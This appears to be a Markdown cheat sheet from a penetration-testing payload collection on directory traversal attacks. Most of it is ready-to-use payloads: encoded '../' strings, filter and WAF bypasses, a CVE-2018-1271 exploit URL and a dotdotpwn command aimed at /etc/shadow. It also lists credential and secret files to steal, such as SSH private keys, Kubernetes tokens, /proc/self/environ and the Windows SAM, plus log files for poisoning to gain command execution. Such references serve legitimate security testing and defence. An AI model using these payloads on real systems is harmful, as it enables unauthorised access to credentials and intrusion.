195 lines
5.3 KiB
Markdown
195 lines
5.3 KiB
Markdown
# Directory traversal
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> A directory or path traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.
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## Summary
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* [Tools](#tools)
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* [Basic exploitation](#basic-exploitation)
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* [16 bits Unicode encoding](#16-bits-unicode-encoding)
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* [UTF-8 Unicode encoding](#utf-8-unicode-encoding)
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* [Bypass "../" replaced by ""](#bypass--replaced-by-)
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* [Bypass "../" with ";"](#bypass--with-)
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* [Double URL encoding](#double-url-encoding)
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* [UNC Bypass](#unc-bypass)
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* [NGINX/ALB Bypass](#nginxalb-bypass)
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* [Path Traversal](#path-traversal)
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* [Interesting Linux files](#interesting-linux-files)
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* [Interesting Windows files](#interesting-windows-files)
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* [References](#references)
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## Tools
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- [dotdotpwn - https://github.com/wireghoul/dotdotpwn](https://github.com/wireghoul/dotdotpwn)
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```powershell
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git clone https://github.com/wireghoul/dotdotpwn
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perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b
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```
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## Basic exploitation
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We can use the `..` characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.
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```powershell
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../
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..\
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..\/
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%2e%2e%2f
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%252e%252e%252f
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%c0%ae%c0%ae%c0%af
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%uff0e%uff0e%u2215
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%uff0e%uff0e%u2216
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```
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### 16 bits Unicode encoding
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```powershell
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. = %u002e
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/ = %u2215
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\ = %u2216
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```
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### UTF-8 Unicode encoding
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```powershell
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. = %c0%2e, %e0%40%ae, %c0ae
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/ = %c0%af, %e0%80%af, %c0%2f
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\ = %c0%5c, %c0%80%5c
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```
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### Bypass "../" replaced by ""
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Sometimes you encounter a WAF which remove the "../" characters from the strings, just duplicate them.
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```powershell
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..././
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...\.\
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```
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### Bypass "../" with ";"
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```powershell
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..;/
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http://domain.tld/page.jsp?include=..;/..;/sensitive.txt
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```
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### Double URL encoding
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```powershell
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. = %252e
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/ = %252f
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\ = %255c
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```
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**e.g:** Spring MVC Directory Traversal Vulnerability (CVE-2018-1271) with `http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini`
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### UNC Bypass
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An attacker can inject a Windows UNC share ('\\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file.
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```powershell
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\\localhost\c$\windows\win.ini
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```
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### NGINX/ALB Bypass
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NGINX in certain configurations and ALB can block traversal attacks in the route, For example:
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```http://nginx-server/../../``` will return a 400 bad request.
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To bypass this behaviour just add forward slashes in front of the url:
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```http://nginx-server////////../../```
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## Path Traversal
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### Interesting Linux files
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```powershell
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/etc/issue
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/etc/passwd
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/etc/shadow
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/etc/group
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/etc/hosts
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/etc/motd
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/etc/mysql/my.cnf
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/proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor)
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/proc/self/environ
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/proc/version
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/proc/cmdline
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/proc/sched_debug
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/proc/mounts
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/proc/net/arp
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/proc/net/route
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/proc/net/tcp
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/proc/net/udp
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/proc/self/cwd/index.php
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/proc/self/cwd/main.py
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/home/$USER/.bash_history
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/home/$USER/.ssh/id_rsa
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/run/secrets/kubernetes.io/serviceaccount/token
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/run/secrets/kubernetes.io/serviceaccount/namespace
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/run/secrets/kubernetes.io/serviceaccount/certificate
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/var/run/secrets/kubernetes.io/serviceaccount
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/var/lib/mlocate/mlocate.db
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/var/lib/mlocate.db
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```
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### Interesting Windows files
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Always existing file in recent Windows machine.
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Ideal to test path traversal but nothing much interesting inside...
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```powershell
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c:\windows\system32\license.rtf
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c:\windows\system32\eula.txt
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```
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Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread)
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```powershell
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c:/boot.ini
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c:/inetpub/logs/logfiles
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c:/inetpub/wwwroot/global.asa
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c:/inetpub/wwwroot/index.asp
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c:/inetpub/wwwroot/web.config
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c:/sysprep.inf
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c:/sysprep.xml
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c:/sysprep/sysprep.inf
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c:/sysprep/sysprep.xml
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c:/system32/inetsrv/metabase.xml
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c:/sysprep.inf
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c:/sysprep.xml
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c:/sysprep/sysprep.inf
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c:/sysprep/sysprep.xml
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c:/system volume information/wpsettings.dat
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c:/system32/inetsrv/metabase.xml
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c:/unattend.txt
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c:/unattend.xml
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c:/unattended.txt
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c:/unattended.xml
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c:/windows/repair/sam
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c:/windows/repair/system
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```
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The following log files are controllable and can be included with an evil payload to achieve a command execution
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```powershell
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/var/log/apache/access.log
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/var/log/apache/error.log
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/var/log/httpd/error_log
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/usr/local/apache/log/error_log
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/usr/local/apache2/log/error_log
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/var/log/nginx/access.log
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/var/log/nginx/error.log
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/var/log/vsftpd.log
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/var/log/sshd.log
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/var/log/mail
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```
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## References
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* [Path Traversal Cheat Sheet: Windows](https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/)
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* [Directory traversal attack - Wikipedia](https://en.wikipedia.org/wiki/Directory_traversal_attack)
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* [CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) - CWE Mitre - December 27, 2018](https://cwe.mitre.org/data/definitions/40.html)
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* [NGINX may be protecting your applications from traversal attacks without you even knowing](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d?source=friends_link&sk=e9ddbadd61576f941be97e111e953381)
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* [Directory traversal - Portswigger](https://portswigger.net/web-security/file-path-traversal)
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